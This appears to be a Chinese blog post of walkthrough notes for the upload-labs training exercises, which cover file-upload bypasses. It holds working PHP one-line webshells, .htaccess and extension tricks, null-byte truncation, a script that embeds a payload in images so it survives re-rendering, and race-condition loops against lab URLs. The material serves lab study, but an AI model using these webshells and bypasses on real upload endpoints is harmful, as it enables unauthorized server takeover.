upload-labs通关笔记

 pass-01(js验证)

1,fn+f12网络控制台设置里禁用js;

2,上传一张图片,bp抓包修改内容,添加一句话木马,修改文件名为php后缀

pass-02(MIME类型)

BP抓包修image/jpeg

 pass-03(黑名单绕过,php3、php5、phtml)

phtml/pht的内容

<script language="php"> eval($_POST['data']);</script>

 pass-04(apache解析漏洞)
  • .htaccess(前提是http.conf文件中设置了 AllowOverried All ,才能使用.htaccess文件)

在Apache服务器中,AllowOverride指令用于控制特定目录下的.htaccess文件中哪些指令是有效的。如果你想限制.htaccess文件中使用的特定命令,可以通过在httpd.conf或相应的虚拟主机配置文件中设置AllowOverride来实现。

例如,如果你想禁止.htaccess中使用RewriteRule,可以将AllowOverride设置为All除了RewriteRule

<Directory "/path/to/your/directory">
    AllowOverride All -RewriteRule
</Directory>

利用方法:(buuctf里未成功)

先上传一个一句话木马,改为jpg/png后缀

再上传一个.htaccess文件,指定上传的jpg/png文件解析为php

<FilesMatch "文件名"> 
SetHandler application/x-httpd-php 
</FilesMatch>
  • apache解析文件名是从后往前解析(从后往前解析,遇到不认识的解析规则名就一直往前),用bp抓包修改文件名添加后缀.aaa(不能被识别的解析名称),上传连接

 pass-05(大小写绕过)

 pass-06(空格绕过)(buuctf里未成功)

 pass-07(点绕过)

 pass-08(::$data绕过)

连接时记得把::$data去掉,仅限于windows系统(buuctf为linux系统)

 pass-09(加后缀)
  • 加后缀.jpg/.a
  • 点空格点,上传后发现只出现了最后一个点,源码中的$file_ext = strrchr($file_name, '.');只截取最后一个.的位置(buuctf失败)
 pass-10(双写名称pphphp)

str_ireplace() 函数只会进行一次删除操作,所以确保只有一个php

.phpphp不可行,因为所有的"php"都会被替换,所以必须只有一个"php"字符存在

pass-11(GET型%00截断)buuctf版本,高于5.3.4
  • php版本低于5.3.4
  • php.ini里面magic_quotes_gpc=off
  • (因为magic_quotes_gpc是用于自动转义从外部输入的数据中的特殊字符,‌以防止SQL注入等安全问题。‌当magic_quotes_gpc为ON时,‌PHP会自动将输入的数据中的特殊字符(‌如%00)‌进行转义处理,‌这会导致上传的文件名在处理时被截断,‌从而无法实现预期的文件上传功能)

GET型%00截断

GET型提交的内容会被自动进行URL解码,直接在文件名后面加%00。

pass-12(POST型%00截断)

在POST请求中,%00不会被自动解码,需要在BP中进行编码

两处需要修改,修改后上传拼接路径为../upload/1.php%00/1.jpg

 pass-13(图片马)

使用前提判断是否有文件包含函数

如 :include():找不到被包含的文件只会产生警告,脚本继续执行

可以cmd copy,也可以二进制修改

由于题中明确给出使用文件包含漏洞

pass-14(图片马)

pass-15(图片马) 

pass-16(图片二次渲染)

二次渲染的原理:

通过命令行或者API接口对图像数据进行各种操作,如缩放、裁剪、转换格式、添加水印等。这些操作会将原本的制作好的图片马破坏,所以需要想办法绕过。

绕过原理:

根据传入的图片码和传入后进行处理过的图片码数据进行比对,找到没有被修改的字段,通过修改这些没有被修改过的字段,达到绕过图片重构的目的。

需要:上传过的图片和原来的图片/gif

  • 工具010editor

选择匹配的,尽量.....这种内容添加一句话木马 ,图片最好大一点

  • 代码(网上有很多)也可以找别人做好的
  • png: 先上传一张图片,将上传后的图片下载下来,使用代码 
    php png.php xx.png
    <?php
    
     
        $miniPayload = "<?=phpinfo();?>";
     
     
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
     
        if(!isset($argv[1])) {
            die('php jpg_payload.php <jpg_name.jpg>');
        }
     
        set_error_handler("custom_error_handler");
     
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
     
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
     
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
     
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
     
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
     
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
     
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
     
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
     
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
     
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
     
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
     
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>
  • jpg:同上

  • php jpg.php xx.jpg
    <?php
    
     
        $miniPayload = "<?=phpinfo();?>";
     
     
        if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
            die('php-gd is not installed');
        }
     
        if(!isset($argv[1])) {
            die('php jpg_payload.php <jpg_name.jpg>');
        }
     
        set_error_handler("custom_error_handler");
     
        for($pad = 0; $pad < 1024; $pad++) {
            $nullbytePayloadSize = $pad;
            $dis = new DataInputStream($argv[1]);
            $outStream = file_get_contents($argv[1]);
            $extraBytes = 0;
            $correctImage = TRUE;
     
            if($dis->readShort() != 0xFFD8) {
                die('Incorrect SOI marker');
            }
     
            while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
                $marker = $dis->readByte();
                $size = $dis->readShort() - 2;
                $dis->skip($size);
                if($marker === 0xDA) {
                    $startPos = $dis->seek();
                    $outStreamTmp = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        str_repeat("\0",$nullbytePayloadSize) . 
                        substr($outStream, $startPos);
                    checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                    if($extraBytes !== 0) {
                        while((!$dis->eof())) {
                            if($dis->readByte() === 0xFF) {
                                if($dis->readByte !== 0x00) {
                                    break;
                                }
                            }
                        }
                        $stopPos = $dis->seek() - 2;
                        $imageStreamSize = $stopPos - $startPos;
                        $outStream = 
                            substr($outStream, 0, $startPos) . 
                            $miniPayload . 
                            substr(
                                str_repeat("\0",$nullbytePayloadSize).
                                    substr($outStream, $startPos, $imageStreamSize),
                                0,
                                $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                    substr($outStream, $stopPos);
                    } elseif($correctImage) {
                        $outStream = $outStreamTmp;
                    } else {
                        break;
                    }
                    if(checkImage('payload_'.$argv[1], $outStream)) {
                        die('Success!');
                    } else {
                        break;
                    }
                }
            }
        }
        unlink('payload_'.$argv[1]);
        die('Something\'s wrong');
     
        function checkImage($filename, $data, $unlink = FALSE) {
            global $correctImage;
            file_put_contents($filename, $data);
            $correctImage = TRUE;
            imagecreatefromjpeg($filename);
            if($unlink)
                unlink($filename);
            return $correctImage;
        }
     
        function custom_error_handler($errno, $errstr, $errfile, $errline) {
            global $extraBytes, $correctImage;
            $correctImage = FALSE;
            if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
                if(isset($m[1])) {
                    $extraBytes = (int)$m[1];
                }
            }
        }
     
        class DataInputStream {
            private $binData;
            private $order;
            private $size;
     
            public function __construct($filename, $order = false, $fromString = false) {
                $this->binData = '';
                $this->order = $order;
                if(!$fromString) {
                    if(!file_exists($filename) || !is_file($filename))
                        die('File not exists ['.$filename.']');
                    $this->binData = file_get_contents($filename);
                } else {
                    $this->binData = $filename;
                }
                $this->size = strlen($this->binData);
            }
     
            public function seek() {
                return ($this->size - strlen($this->binData));
            }
     
            public function skip($skip) {
                $this->binData = substr($this->binData, $skip);
            }
     
            public function readByte() {
                if($this->eof()) {
                    die('End Of File');
                }
                $byte = substr($this->binData, 0, 1);
                $this->binData = substr($this->binData, 1);
                return ord($byte);
            }
     
            public function readShort() {
                if(strlen($this->binData) < 2) {
                    die('End Of File');
                }
                $short = substr($this->binData, 0, 2);
                $this->binData = substr($this->binData, 2);
                if($this->order) {
                    $short = (ord($short[1]) << 8) + ord($short[0]);
                } else {
                    $short = (ord($short[0]) << 8) + ord($short[1]);
                }
                return $short;
            }
     
            public function eof() {
                return !$this->binData||(strlen($this->binData) === 0);
            }
        }
    ?>

pass-17(条件竞争)

查看源码,我们可以看到,文件是先上传到服务器,服务器再进行比对的,然后才是删除不符合的文件,我们可以利用这段时间差,结合bp,进行重复上传,直到连接成功:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}

1、先修改一句话木马,当访问到这个webshell,该脚本就会在本地生成一个2.php,然后用蚁剑访问即可。

<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["shell"])?>');?>

2、上传webshell,bp抓包,攻击模块

修改好线程

3.创建脚本访问这个文件,访问成功即创建好了2.php(以buuctf为例)

import requests
url = "http://b09d2c00-c0c6-4e7b-8f42-de7f2cb08575.node5.buuoj.cn:81/upload/22.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

4.bp重复加上python脚本,成功后使用蚁剑连接

pass-18(条件竞争-图片马)

查看源码可以看到,服务器先是将文件做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

同上,不过这次改为上传图片,脚本也需要修改为含有包含函数:

bp抓包添加一句话木马,放到攻击模块

修改脚本

import requests
url = "http://91bb11b9-7be1-42b1-9daa-573064a283c0.node5.buuoj.cn:81/include.php?file=upload/2.jpg"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

bp攻击加脚本,访问成功后,蚁剑连接

pass-19(只对用户上传的文件名做验证)

1.修改一句话木马为png文件,保存时修改文件名为xx.php/. 或者 xx.Php

move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

也可以修改为Php

pass-20(代码审计-数组)

 可以看到,检查上传类型

检查保存文件名,检查$_POST是否为空,若为空,则$file=$_FILES['upload_file']['name'];(上传的文件名)否则$file=$_POST['save_name'](保存的文件名)

接着判断$file是不是一个数组,不是的话,会以"."分为一个数组,判断数组最后一个元素是否合法

$ext(后缀名)为数组的最后一个元素

然后以数组$file第一位元素和$file[count($file) - 1]来重命名文件。

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

所以我们需要绕过的就是,

类型头:修改content-type

数组  修改POST参数为数组类型,数组[0]为xx.php,数组[2]为jpg|png|gif。

这样$file[count($file) - 1]就等价于$file[2-1],值为空,保存的就是xx.php

上传bp抓包,修改

上传后,蚁剑连接就好。 

  • 15
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值